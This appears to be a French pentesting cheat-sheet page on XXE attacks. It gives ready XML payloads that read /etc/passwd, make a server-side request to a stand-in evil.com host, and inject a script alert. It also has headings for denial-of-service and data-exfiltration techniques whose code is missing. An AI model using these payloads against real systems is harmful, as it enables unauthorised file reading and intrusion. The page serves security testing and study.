For the complete documentation index, see llms.txt. This page is also available as Markdown.

📃XXE

Basic LFI

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<element>
    &xxe;
</element>

SSRF via XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://evil.com/"> ]>
<element>
    &xxe;
</element>

XSS via XXE

<element>
    <![CDATA['><script>alert(1);</script>]]>
</element>

XXE avec Xinclude

DoS

Billion laughs attack

Quadratic Blowup

Si un attaquant définit l’entité &x; avec 55000 caractères et se réfère à cette entité 55000 fois à l’intérieur de l’élément "DoS", l’analyseur se retrouve avec une charge utile d’attaque de blowup quadratique XML légèrement supérieure à 200 Ko qui passe à 2,5 Go lors du parsing.

Script python:

Zip bomb

Exfiltration de données

Avec Burp collab

Exploit server

Mettre ce payload dans un fichier .dtd

Victim server

Via message d'erreur

Exploit server

Victim server

Intégrés dans des fichiers

Mis à jour

Ce contenu vous a-t-il été utile ?